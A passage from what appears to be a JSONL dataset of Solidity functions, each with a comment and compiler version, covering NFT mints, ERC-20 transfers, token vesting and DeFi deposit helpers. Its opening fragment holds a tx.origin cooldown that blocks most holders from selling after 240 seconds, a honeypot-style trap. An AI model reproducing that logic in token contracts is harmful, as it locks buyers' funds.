uniswapV2Pair, \"\");\r\n\r\n if(!cooldown[tx.origin].exists) {\r\n cooldown[tx.origin] = User(0,0,true);\r\n }\r\n\r\n if (from == uniswapV2Pair) {\r\n if (cooldown[tx.origin].buy == 0) {\r\n cooldown[tx.origin].buy = block.timestamp + (240 seconds);\r\n }\r\n } else {\r\n require(isExcluded(tx.origin) || cooldown[tx.origin].buy >= block.timestamp, \"Excluded bot cannot sell!\");\r\n }\r\n }\r\n\r\n }", "version": "0.8.6"} {"comment": "//Calculates the amount of WEI that is needed as a collateral for this amount of DAI and the chosen LTV", "function_code": "function calculateWeiAmount(uint256 _daiAmount, uint256 _ltv, uint256 _daiVsWeiCurrentPrice) public pure returns (uint256) {\r\n //I calculate the collateral in DAI, then I change it to WEI and I remove the decimals from the token\r\n return _daiAmount.mul(100).div(_ltv).mul(_daiVsWeiCurrentPrice).div(1e18);\r\n }", "version": "0.7.4"} {"comment": "// The Fun Part", "function_code": "function unboxCards(uint8 numCards) public payable saleIsOn {\r\n require(numCards >= 1 && numCards <= 20, \"Only 1 to 20 cards at once\");\r\n\r\n require(\r\n totalSupply().add(numCards) <= MAX_GPU_COUNT,\r\n \"Exceeds max number of cards\"\r\n );\r\n\r\n require(\r\n msg.value >= calculatePresalePrice().mul(numCards),\r\n \"Ether is insufficient for the total price\"\r\n );\r\n\r\n for (uint8 i = 0; i < numCards; i++) {\r\n _tokenIds.increment();\r\n _safeMint(msg.sender, _tokenIds.current());\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Inspired/copied from Chubbies (Thnx <3!)", "function_code": "function calculatePresalePrice() public view returns (uint256) {\r\n uint256 currentSupply = totalSupply();\r\n\r\n if (currentSupply >= 9900) {\r\n return 1000000000000000000; // 9900-10000: 1.00 ETH\r\n } else if (currentSupply >= 9500) {\r\n return 640000000000000000; // 9500-9500: 0.64 ETH\r\n } else if (currentSupply >= 7500) {\r\n return 320000000000000000; // 7500-9500: 0.32 ETH\r\n } else if (currentSupply >= 3500) {\r\n return 160000000000000000; // 3500-7500: 0.16 ETH\r\n } else if (currentSupply >= 1500) {\r\n return 80000000000000000; // 1500-3500: 0.08 ETH\r\n } else if (currentSupply >= 500) {\r\n return 40000000000000000; // 500-1500: 0.04 ETH\r\n } else {\r\n return 20000000000000000; // 0 - 500 0.02 ETH\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Allow a n token holder to mint a token with one of their n token's id\n * @dev Taken from Npass core, add a require to allow minting only if sale is open\n * @param tokenId Id to be minted\n */", "function_code": "function mintWithN(uint256 tokenId) public payable virtual override nonReentrant {\n require(\n // If no reserved allowance we respect total supply contraint\n (reservedAllowance == 0 && totalSupply() < maxTotalSupply) || reserveMinted < reservedAllowance,\n \"NPass:MAX_ALLOCATION_REACHED\"\n );\n require(n.ownerOf(tokenId) == msg.sender, \"NPass:INVALID_OWNER\");\n require(msg.value == priceForNHoldersInWei, \"NPass:INVALID_PRICE\");\n require(isSaleOpen, \"Nbars:SALE_IS_CLOSED\");\n\n // If reserved allowance is active we track mints count\n if (reservedAllowance > 0) {\n reserveMinted++;\n }\n _safeMint(msg.sender, tokenId);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Override the openzeppelin method to add \".json\" at the end of metadata\n */", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), \".json\")) : \"\";\n }", "version": "0.8.6"} {"comment": "//============ UpCrowdPooling Functions (create) ============", "function_code": "function createCrowdPooling(\r\n address baseToken,\r\n address quoteToken,\r\n uint256 baseInAmount,\r\n uint256[] memory timeLine,\r\n uint256[] memory valueList,\r\n bool isOpenTWAP\r\n ) external payable preventReentrant returns (address payable newCrowdPooling) {\r\n address _baseToken = baseToken;\r\n address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;\r\n \r\n newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling();\r\n\r\n IERC20(baseToken).transferFrom(msg.sender,newCrowdPooling, baseInAmount);\r\n\r\n (bool success, ) = newCrowdPooling.call{value: msg.value}(\"\");\r\n require(success, \"DODOCpProxyTmp: Transfer Success\");\r\n\r\n IDODOV2(_CP_FACTORY_).initCrowdPooling(\r\n newCrowdPooling,\r\n msg.sender,\r\n _baseToken,\r\n _quoteToken,\r\n timeLine,\r\n valueList,\r\n isOpenTWAP\r\n );\r\n }", "version": "0.6.9"} {"comment": "/**\r\n * @dev Transfer a token to another address.\r\n * @param _to The address of the recipient, can be a user or contract\r\n * @param _tokenId The ID of the token to transfer\r\n */", "function_code": "function transfer(\r\n address _to,\r\n uint256 _tokenId\r\n )\r\n whenNotPaused\r\n external\r\n {\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n\r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n // The contract should never own any tokens (except very briefly\r\n // after a release token is created and before it goes on auction).\r\n require(_to != address(this));\r\n\r\n // Disallow transfers to the auction contract to prevent accidental\r\n // misuse. Auction contracts should only take ownership of tokens\r\n // through the allow + transferFrom flow.\r\n require(_to != address(auction));\r\n\r\n // Check token ownership\r\n require(_owns(msg.sender, _tokenId));\r\n\r\n // Reassign ownership, clear pending approvals, emit Transfer event.\r\n _transfer(msg.sender, _to, _tokenId);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Creates a new release token with the given name and creates an auction for it.\r\n * @param _name Name ot the token\r\n * @param _startingPrice Price of item (in wei) at beginning of auction\r\n * @param _endingPrice Price of item (in wei) at end of auction\r\n * @param _duration Length of auction (in seconds)\r\n */", "function_code": "function createReleaseTokenAuction(\r\n string _name,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration\r\n )\r\n onlyAdmin\r\n external\r\n {\r\n // Check release tokens limit\r\n require(releaseCreatedCount < TOTAL_SUPPLY_LIMIT);\r\n\r\n // Create token and tranfer ownership to this contract\r\n uint256 tokenId = _createToken(_name, address(this));\r\n\r\n // Set auction address as approved for release token\r\n _approve(tokenId, auction);\r\n\r\n // Call createAuction in auction contract\r\n auction.createAuction(\r\n tokenId,\r\n _startingPrice,\r\n _endingPrice,\r\n _duration,\r\n address(this)\r\n );\r\n\r\n releaseCreatedCount++;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Creates free token and transfer it to recipient.\r\n * @param _name Name of the token\r\n * @param _to The address of the recipient, can be a user or contract\r\n */", "function_code": "function createFreeToken(\r\n string _name,\r\n address _to\r\n )\r\n onlyAdmin\r\n external\r\n {\r\n require(_to != address(0));\r\n require(_to != address(this));\r\n require(_to != address(auction));\r\n\r\n // Check release tokens limit\r\n require(releaseCreatedCount < TOTAL_SUPPLY_LIMIT);\r\n\r\n // Create token and transfer to owner\r\n _createToken(_name, _to);\r\n\r\n releaseCreatedCount++;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Create a new token and stores it.\r\n * @param _name Token name\r\n * @param _owner The initial owner of this token, must be non-zero\r\n */", "function_code": "function _createToken(\r\n string _name,\r\n address _owner\r\n )\r\n internal\r\n returns (uint)\r\n {\r\n Token memory _token = Token({\r\n name: _name\r\n });\r\n\r\n uint256 newTokenId = tokens.push(_token) - 1;\r\n\r\n // Check overflow newTokenId\r\n require(newTokenId == uint256(uint32(newTokenId)));\r\n\r\n emit Create(_owner, newTokenId, _name);\r\n\r\n // This will assign ownership\r\n _transfer(0, _owner, newTokenId);\r\n\r\n return newTokenId;\r\n }", "version": "0.4.24"} {"comment": "// *\n// Buy token by sending ether here\n//\n// You can also send the ether directly to the contract address", "function_code": "function buy() payable {\r\n if (msg.value == 0) {\r\n revert();\r\n }\r\n\r\n // prevent from buying before starting preico or ico\r\n if (!isPreICOPrivateOpened && !isPreICOPublicOpened && !isICOOpened) {\r\n revert();\r\n }\r\n\r\n if (isICOClosed) {\r\n revert();\r\n }\r\n\r\n // Deciding how many tokens can be bought with the ether received\r\n uint tokens = getSMPTokensAmountPerEthInternal(msg.value);\r\n\r\n // Just in case\r\n if (tokens > balances[ICO_ADDRESS]) { \r\n revert();\r\n }\r\n\r\n // Transfer from the ICO pool\r\n balances[ICO_ADDRESS] = balances[ICO_ADDRESS].sub(tokens); // if not enough, will revert()\r\n balances[msg.sender] = balances[msg.sender].add(tokens);\r\n\r\n // Broadcasting the buying event\r\n SMPAcquired(msg.sender, msg.value, tokens);\r\n }", "version": "0.4.15"} {"comment": "// *\n// Some percentage of the tokens is already reserved for marketing", "function_code": "function distributeMarketingShares() onlyOwner {\r\n // Making it impossible to call this function twice\r\n if (preMarketingSharesDistributed) {\r\n revert();\r\n }\r\n\r\n preMarketingSharesDistributed = true;\r\n\r\n // Values are in WEI tokens\r\n balances[0xAc5C2414dae4ADB07D82d40dE71B4Bc5E2b417fd] = 100000000 * WEI; // referral\r\n balances[0x603D3e11E88dD9aDdc4D9AbE205C7C02e9e13483] = 20000000 * WEI; // social marketing\r\n \r\n current_supply = (100000000 + 20000000) * WEI;\r\n\r\n // Sending the rest to ICO pool\r\n balances[ICO_ADDRESS] = INITIAL_SUPPLY.sub(current_supply);\r\n\r\n // Initializing the supply variables\r\n ico_starting_supply = balances[ICO_ADDRESS];\r\n current_supply = INITIAL_SUPPLY;\r\n SupplyChanged(0, current_supply);\r\n }", "version": "0.4.15"} {"comment": "/*Function to mint token with 0 ETH price utpo 499*/", "function_code": "function FreeMint() external reentryLock {\r\n require(mintActive, \"Mint is not Active\");\r\n require(freeMinted < 250, \"Free Mints Sold Out\");\r\n require(numberMinted < totalTokens, \"Collection Sold Out\");\r\n\r\n uint256 mintSeedValue = numberMinted;\r\n numberMinted += 1;\r\n freeMinted += 1;\r\n\r\n _safeMint(_msgSender(), mintSeedValue );\r\n }", "version": "0.8.7"} {"comment": "/* 0.015 for everyone */", "function_code": "function publicMint(uint256 qty) external payable reentryLock {\r\n require(totalTokens >= qty + numberMinted, \"sold out\");\r\n require(qty <= maxPerTxn, \"max 50 per txn\");\r\n require(mintActive, \"Mint is not Active\");\r\n require(msg.value == qty * price, \"Wrong Eth Amount\");\r\n \r\n uint256 mintSeedValue = numberMinted;\r\n numberMinted += qty;\r\n \r\n for(uint256 i = 0; i < qty; i++) {\r\n _safeMint(_msgSender(), mintSeedValue + i);\r\n }\r\n \r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Sets erc20 globals and fee paramters\r\n @param _name Full token name 'USD by token.io'\r\n @param _symbol Symbol name 'USDx'\r\n @param _tla Three letter abbreviation 'USD'\r\n @param _version Release version 'v0.0.1'\r\n @param _decimals Decimal precision\r\n @param _feeContract Address of fee contract\r\n @return { \"success\" : \"Returns true if successfully called from another contract\"}\r\n */", "function_code": "function setParams(\r\n string _name,\r\n string _symbol,\r\n string _tla,\r\n string _version,\r\n uint _decimals,\r\n address _feeContract,\r\n uint _fxUSDBPSRate\r\n ) onlyOwner public returns (bool success) {\r\n require(lib.setTokenName(_name),\r\n \"Error: Unable to set token name. Please check arguments.\");\r\n require(lib.setTokenSymbol(_symbol),\r\n \"Error: Unable to set token symbol. Please check arguments.\");\r\n require(lib.setTokenTLA(_tla),\r\n \"Error: Unable to set token TLA. Please check arguments.\");\r\n require(lib.setTokenVersion(_version),\r\n \"Error: Unable to set token version. Please check arguments.\");\r\n require(lib.setTokenDecimals(_symbol, _decimals),\r\n \"Error: Unable to set token decimals. Please check arguments.\");\r\n require(lib.setFeeContract(_feeContract),\r\n \"Error: Unable to set fee contract. Please check arguments.\");\r\n require(lib.setFxUSDBPSRate(_symbol, _fxUSDBPSRate),\r\n \"Error: Unable to set fx USD basis points rate. Please check arguments.\");\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Gets fee parameters\r\n * @return {\r\n \"bps\":\"Fee amount as a mesuare of basis points\",\r\n \"min\":\"Minimum fee amount\",\r\n \"max\":\"Maximum fee amount\",\r\n \"flat\":\"Flat fee amount\",\r\n \"contract\":\"Address of fee contract\"\r\n }\r\n */", "function_code": "function getFeeParams() public view returns (uint bps, uint min, uint max, uint flat, bytes feeMsg, address feeAccount) {\r\n address feeContract = lib.getFeeContract(address(this));\r\n return (\r\n lib.getFeeBPS(feeContract),\r\n lib.getFeeMin(feeContract),\r\n lib.getFeeMax(feeContract),\r\n lib.getFeeFlat(feeContract),\r\n lib.getFeeMsg(feeContract),\r\n feeContract\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice transfers 'amount' from msg.sender to a receiving account 'to'\r\n * @param to Receiving address\r\n * @param amount Transfer amount\r\n * @return {\"success\" : \"Returns true if transfer succeeds\"}\r\n */", "function_code": "function transfer(address to, uint amount) public notDeprecated returns (bool success) {\r\n address feeContract = lib.getFeeContract(address(this));\r\n string memory currency = lib.getTokenSymbol(address(this));\r\n uint fees = calculateFees(amount);\r\n\r\n bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(msg.sender)));\r\n bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(to)));\r\n bytes32 id_c = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(feeContract)));\r\n\r\n require(\r\n lib.Storage.setUint(id_a, lib.Storage.getUint(id_a).sub(amount.add(fees))),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n require(\r\n lib.Storage.setUint(id_b, lib.Storage.getUint(id_b).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n require(\r\n lib.Storage.setUint(id_c, lib.Storage.getUint(id_c).add(fees)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n emit Transfer(msg.sender, to, amount);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice spender transfers from approvers account to the reciving account\r\n * @param from Approver's address\r\n * @param to Receiving address\r\n * @param amount Transfer amount\r\n * @return {\"success\" : \"Returns true if transferFrom succeeds\"}\r\n */", "function_code": "function transferFrom(address from, address to, uint amount) public notDeprecated returns (bool success) {\r\n address feeContract = lib.getFeeContract(address(this));\r\n string memory currency = lib.getTokenSymbol(address(this));\r\n uint fees = calculateFees(amount);\r\n\r\n bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(from)));\r\n bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(to)));\r\n bytes32 id_c = keccak256(abi.encodePacked('token.balance', currency, lib.getForwardedAccount(feeContract)));\r\n\r\n require(\r\n lib.Storage.setUint(id_a, lib.Storage.getUint(id_a).sub(amount.add(fees))),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n require(\r\n lib.Storage.setUint(id_b, lib.Storage.getUint(id_b).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n require(\r\n lib.Storage.setUint(id_c, lib.Storage.getUint(id_c).add(fees)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n\r\n /// @notice This transaction will fail if the msg.sender does not have an approved allowance.\r\n require(\r\n lib.updateAllowance(lib.getTokenSymbol(address(this)), from, amount.add(fees)),\r\n \"Error: Unable to update allowance for spender.\"\r\n );\r\n\r\n emit Transfer(from, to, amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice approves spender a given amount\r\n * @param spender Spender's address\r\n * @param amount Allowance amount\r\n * @return {\"success\" : \"Returns true if approve succeeds\"}\r\n */", "function_code": "function approve(address spender, uint amount) public notDeprecated returns (bool success) {\r\n /// @notice sends approve through library\r\n /// @dev !!! mtuates storage states\r\n require(\r\n lib.approveAllowance(spender, amount),\r\n \"Error: Unable to approve allowance for spender. Please ensure spender is not null and does not have a frozen balance.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// 1 million STO tokens", "function_code": "function StoToken(address _owner, address initialAccount) public {\r\n require(_owner != address(0) && initialAccount != address(0) && _owner != initialAccount);\r\n owner = _owner;\r\n balances[initialAccount] = INITIAL_BALANCE;\r\n totalSupply_ = INITIAL_BALANCE;\r\n emit Transfer(address(0), initialAccount, INITIAL_BALANCE);\r\n }", "version": "0.4.21"} {"comment": "/// @param f The float value with 5 bits for the exponent\n/// @param numBits The total number of bits (numBitsMantissa := numBits - numBitsExponent)\n/// @return value The decoded integer value.", "function_code": "function decodeFloat(\r\n uint f,\r\n uint numBits\r\n )\r\n internal\r\n pure\r\n returns (uint96 value)\r\n {\r\n uint numBitsMantissa = numBits.sub(5);\r\n uint exponent = f >> numBitsMantissa;\r\n // log2(10**77) = 255.79 < 256\r\n require(exponent <= 77, \"EXPONENT_TOO_LARGE\");\r\n uint mantissa = f & ((1 << numBitsMantissa) - 1);\r\n value = mantissa.mul(10 ** exponent).toUint96();\r\n }", "version": "0.7.0"} {"comment": "// *************\n// BOT FUNCTIONS\n// *************", "function_code": "function fulfillOrder(address _user, uint256 _artBlocksProjectId, uint256 _tokenId, uint256 _expectedPriceInWeiEach, address _profitTo, bool _sendNow) public returns (uint256) {\r\n\t\t// CHECKS\r\n\t\tOrder memory order = orders[_user][_artBlocksProjectId];\r\n\t\trequire(order.quantity > 0, 'user order DNE');\r\n\t\trequire(order.priceInWeiEach >= _expectedPriceInWeiEach, 'user offer insufficient'); // protects bots from users frontrunning them\r\n\t\trequire(ARTBLOCKS_FACTORY.tokenIdToProjectId(_tokenId) == _artBlocksProjectId, 'user did not request this NFT');\r\n\r\n\t\t// EFFECTS\r\n\t\tOrder memory newOrder;\r\n\t\tif (order.quantity > 1) {\r\n\t\t\tnewOrder.priceInWeiEach = order.priceInWeiEach;\r\n\t\t\tnewOrder.quantity = order.quantity - 1;\r\n\t\t}\r\n\t\torders[_user][_artBlocksProjectId] = newOrder;\r\n\r\n\t\tuint256 artBlocksBrokerFee = order.priceInWeiEach * artBlocksBrokerFeeBips / 10_000;\r\n\t\tbalances[profitReceiver] += artBlocksBrokerFee;\r\n\r\n\t\t// INTERACTIONS\r\n\t\t// transfer NFT to user\r\n\t\tARTBLOCKS_FACTORY.safeTransferFrom(msg.sender, _user, _tokenId); // reverts on failure\r\n\r\n\t\t// pay the fullfiller\r\n\t\tif (_sendNow) {\r\n\t\t\tsendValue(payable(_profitTo), order.priceInWeiEach - artBlocksBrokerFee);\r\n\t\t} else {\r\n\t\t\tbalances[_profitTo] += order.priceInWeiEach - artBlocksBrokerFee;\r\n\t\t}\r\n\r\n\t\temit Action(_user, _artBlocksProjectId, newOrder.priceInWeiEach, newOrder.quantity, 'order fulfilled', _tokenId);\r\n\r\n\t\treturn order.priceInWeiEach - artBlocksBrokerFee; // proceeds to order fullfiller\r\n\t}", "version": "0.8.2"} {"comment": "// ****************\n// HELPER FUNCTIONS\n// ****************\n// OpenZeppelin's sendValue function, used for transfering ETH out of this contract", "function_code": "function sendValue(address payable recipient, uint256 amount) internal {\r\n\t\trequire(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\t\t// solhint-disable-next-line avoid-low-level-calls, avoid-call-value\r\n\t\t(bool success, ) = recipient.call{ value: amount }(\"\");\r\n\t\trequire(success, \"Address: unable to send value, recipient may have reverted\");\r\n\t}", "version": "0.8.2"} {"comment": "/* ========== ONLY OPERATOR ========== */", "function_code": "function setCoreParams(\n bool _canDeposit,\n uint256 _withdrawFee,\n uint256 _reinvestMin0,\n uint256 _reinvestMin1\n ) external onlyOperator {\n require(_withdrawFee == 0 || _withdrawFee >= 4, \"invalid fee param\");\n canDeposit = _canDeposit;\n withdrawFee = _withdrawFee;\n reinvestMin0 = _reinvestMin0;\n reinvestMin1 = _reinvestMin1;\n }", "version": "0.7.6"} {"comment": "// _time : 0 ~ 24", "function_code": "function teamIssue(address _to, uint _time) onlyOwner public\r\n {\r\n require(saleTime == false);\r\n require( _time < teamVestingTime);\r\n \r\n uint nowTime = now;\r\n require( nowTime > tmVestingTimer[_time] );\r\n \r\n uint tokens = teamVestingSupply;\r\n\r\n require(tokens == tmVestingBalances[_time]);\r\n require(maxTeamSupply >= tokenIssuedTeam.add(tokens));\r\n \r\n balances[_to] = balances[_to].add(tokens);\r\n tmVestingBalances[_time] = 0;\r\n \r\n totalTokenSupply = totalTokenSupply.add(tokens);\r\n tokenIssuedTeam = tokenIssuedTeam.add(tokens);\r\n \r\n emit TeamIssue(_to, tokens);\r\n }", "version": "0.5.17"} {"comment": "// _time : 0 ~ 4", "function_code": "function advisorIssue(address _to, uint _time) onlyOwner public\r\n {\r\n require(saleTime == false);\r\n require( _time < advisorVestingTime);\r\n \r\n uint nowTime = now;\r\n require( nowTime > advVestingTimer[_time] );\r\n \r\n uint tokens = advisorVestingSupply;\r\n\r\n require(tokens == advVestingBalances[_time]);\r\n require(maxAdvisorSupply >= tokenIssuedAdv.add(tokens));\r\n \r\n balances[_to] = balances[_to].add(tokens);\r\n advVestingBalances[_time] = 0;\r\n \r\n totalTokenSupply = totalTokenSupply.add(tokens);\r\n tokenIssuedAdv = tokenIssuedAdv.add(tokens);\r\n \r\n emit AdvIssue(_to, tokens);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Tells whether a signature is seen as valid by this contract through ERC-1271\r\n * @param _hash Arbitrary length data signed on the behalf of address (this)\r\n * @param _signature Signature byte array associated with _data\r\n * @return The ERC-1271 magic value if the signature is valid\r\n */", "function_code": "function isValidSignature(bytes32 _hash, bytes _signature) public view returns (bytes4) {\r\n // Short-circuit in case the hash was presigned. Optimization as performing calls\r\n // and ecrecover is more expensive than an SLOAD.\r\n if (isPresigned[_hash]) {\r\n return returnIsValidSignatureMagicNumber(true);\r\n }\r\n\r\n bool isValid;\r\n if (designatedSigner == address(0)) {\r\n isValid = false;\r\n } else {\r\n isValid = SignatureValidator.isValidSignature(_hash, designatedSigner, _signature);\r\n }\r\n\r\n return returnIsValidSignatureMagicNumber(isValid);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Create a new stake at latest confirmed node\n * @param stakerAddress Address of the new staker\n * @param depositAmount Stake amount of the new staker\n */", "function_code": "function createNewStake(address payable stakerAddress, uint256 depositAmount) internal {\n uint256 stakerIndex = _stakerList.length;\n _stakerList.push(stakerAddress);\n _stakerMap[stakerAddress] = Staker(\n stakerIndex,\n _latestConfirmed,\n depositAmount,\n address(0), // new staker is not in challenge\n true\n );\n _lastStakeBlock = block.number;\n emit UserStakeUpdated(stakerAddress, 0, depositAmount);\n }", "version": "0.6.11"} {"comment": "/**\n * @dev Returns the time rewards were last claimed\n * @param _tokenId The token to reference\n * @param chainsContract The chains token contract\n */", "function_code": "function __lastClaim(uint256 _tokenId, IChains chainsContract) internal view returns (uint256) {\n\n require(chainsContract.ownerOf(_tokenId) != address(0),\"TOKEN_NOT_MINTED\");\n\n uint256 lastClaimed = _lastClaim[_tokenId];\n\n if(lastClaimed == 0 || lastClaimed < _emissionStart){\n\n uint256 mintedAt = chainsContract.getTokenTimestamp(_tokenId);\n\n if(mintedAt<_emissionStart){\n lastClaimed = _emissionStart;\n }else{\n lastClaimed = mintedAt;\n }\n }\n\n return lastClaimed + _emissionOffset;\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Returns the amount of rewards accumulated since last claim for token\n * @param _tokenId The token to reference\n * @param chainsContract The chains contract to reference\n */", "function_code": "function _accumulated(uint256 _tokenId, IChains chainsContract) internal view returns (uint256) {\n\n uint256 lastClaimed = __lastClaim(_tokenId,chainsContract);\n\n // Sanity check if last claim was on or after emission end\n if (lastClaimed >= _emissionEnd) return 0;\n\n uint256 accumulationPeriod = block.timestamp < _emissionEnd ? block.timestamp : _emissionEnd;\n\n uint256 tokenEmissionPerDay = (0.1 ether + ((33 ether / 1000) * _getBoost(_tokenId,chainsContract))) * _baseMultiplier;\n\n uint256 totalAccumulated = ((accumulationPeriod - lastClaimed) * tokenEmissionPerDay) / SECONDS_IN_A_DAY;\n\n return totalAccumulated;\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Claims rewards for tokens\n * @param _tokenIds An array of tokens to claim rewards for\n */", "function_code": "function claim(uint256[] memory _tokenIds) public returns (uint256) {\n\n require(_paused==false,\"PAUSED\");\n\n uint256 totalClaimQty = 0;\n for (uint256 i = 0; i < _tokenIds.length; i++) {\n\n IChains chainsContract = getChainsContract(getChainsGeneration(_tokenIds[i]));\n\n require(\n chainsContract.ownerOf(_tokenIds[i])==msg.sender,\n \"NOT_TOKEN_OWNER\"\n );\n\n // Duplicate token index check\n for (uint256 j = i + 1; j < _tokenIds.length; j++) {\n require(\n _tokenIds[i] != _tokenIds[j],\n \"DUP_TOKEN_INDEX\"\n );\n }\n\n uint256 claimQty = _accumulated(_tokenIds[i],chainsContract);\n if (claimQty != 0) {\n totalClaimQty = totalClaimQty + claimQty;\n _lastClaim[_tokenIds[i]] = block.timestamp;\n }\n }\n\n require(totalClaimQty != 0, \"ZERO_CLAIMABLE\");\n _mint(msg.sender, totalClaimQty);\n return totalClaimQty;\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Returns generation of chain based on token id\n * @param _tokenId The token to reference\n */", "function_code": "function getChainsGeneration(uint256 _tokenId) public view returns (uint256) {\n try IChains(_genTwoChainsAddress).ownerOf(_tokenId) returns (address genTwoOwner){\n if (genTwoOwner != 0x000000000000000000000000000000000000dEaD) {\n return 2;\n }\n }catch{\n if(_tokenId < 3406) {\n try IChains(_genOneChainsAddress).ownerOf(_tokenId) returns (address genOneOwner){\n if (genOneOwner != 0x000000000000000000000000000000000000dEaD) {\n return 1;\n }\n }catch{\n // Do nothing\n }\n }\n }\n return 0;\n }", "version": "0.8.9"} {"comment": "//TODO: add test before entering the genesis == 0, after enter >0\n// Stake HALOs for HALOHALOs.\n// Locks Halo and mints HALOHALO", "function_code": "function enter(uint256 _amount) public {\n if (genesisTimestamp == 0) {\n genesisTimestamp = now;\n }\n // Gets the amount of Halo locked in the contract\n uint256 totalHalo = halo.balanceOf(address(this));\n // Gets the amount of HALOHALO in existence\n uint256 totalShares = totalSupply();\n // If no HALOHALO exists, mint it 1:1 to the amount put in\n if (totalShares == 0 || totalHalo == 0) {\n _mint(msg.sender, _amount);\n } else {\n // Calculate and mint the amount of HALOHALO the Halo is worth. The ratio will change overtime, as HALOHALO is burned/minted and Halo deposited from LP rewards.\n uint256 haloHaloAmount = _amount.mul(totalShares).div(totalHalo);\n _mint(msg.sender, haloHaloAmount);\n }\n\n // Lock the Halo in the contract\n halo.transferFrom(msg.sender, address(this), _amount);\n }", "version": "0.6.12"} {"comment": "// Claim HALOs from HALOHALOs.\n// Unlocks the staked + gained Halo and burns HALOHALO", "function_code": "function leave(uint256 _share) public {\n // Gets the amount of HALOHALO in existence\n uint256 totalShares = totalSupply();\n // Calculates the amount of Halo the HALOHALO is worth\n uint256 haloHaloAmount =\n _share.mul(halo.balanceOf(address(this))).div(totalShares);\n _burn(msg.sender, _share);\n halo.transfer(msg.sender, haloHaloAmount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal transfer, only can be called by this contract \r\n * @param _from is msg.sender The address to transfer from.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal returns (bool){\r\n require(_to != address(0)); // Prevent transfer to 0x0 address.\r\n require(_value <= balances[msg.sender]); // Check if the sender has enough \r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "//only owner functions", "function_code": "function setNewRound(uint _supply, uint cost, string memory name, uint maxMint, uint perAddressLimit, uint theTime, string memory password) public onlyOwner {\r\n\t\trequire(_supply <= MAX_TOKENS - totalSupply(), \"Exceeded supply\");\r\n\t\tCURR_ROUND_SUPPLY = _supply;\r\n\t\tCURR_MINT_COST = cost;\r\n\t\tCURR_ROUND_NAME = name;\r\n\t\tmaxMintAmount = maxMint;\r\n\t\tnftPerAddressLimit = perAddressLimit;\r\n\t\tCURR_ROUND_TIME = theTime;\r\n\t\tCURR_ROUND_PASSWORD = password;\r\n\t}", "version": "0.8.0"} {"comment": "/**\r\n * @notice claims accrued CVX rewards for all tracked crvTokens\r\n */", "function_code": "function harvest( address[] memory rewardTokens ) public {\r\n rewardPool.getReward();\r\n\r\n for( uint i = 0; i < rewardTokens.length; i++ ) {\r\n uint balance = IERC20( rewardTokens[i] ).balanceOf( address(this) );\r\n IERC20( rewardTokens[i] ).safeTransfer( address(treasury), balance );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice withdraws asset from treasury, deposits asset into lending pool, then deposits crvToken into treasury\r\n * @param token address\r\n * @param amount uint\r\n * @param minAmount uint\r\n */", "function_code": "function deposit( address token, uint amount, uint minAmount ) public onlyPolicy() {\r\n require( !exceedsLimit( token, amount ) ); // ensure deposit is within bounds\r\n address curveToken = tokenInfo[ token ].curveToken;\r\n\r\n treasury.manage( token, amount ); // retrieve amount of asset from treasury\r\n\r\n IERC20(token).approve(address(curve3Pool), amount); // approve curve pool to spend tokens\r\n uint curveAmount = curve3Pool.add_liquidity(curveToken, [amount, 0, 0, 0], minAmount); // deposit into curve\r\n\r\n IERC20( curveToken ).approve( address(booster), curveAmount ); // approve to deposit to convex\r\n booster.deposit( pidForReserve[ token ], curveAmount, true ); // deposit into convex\r\n\r\n //uint value = treasury.valueOf( token, amount ); // 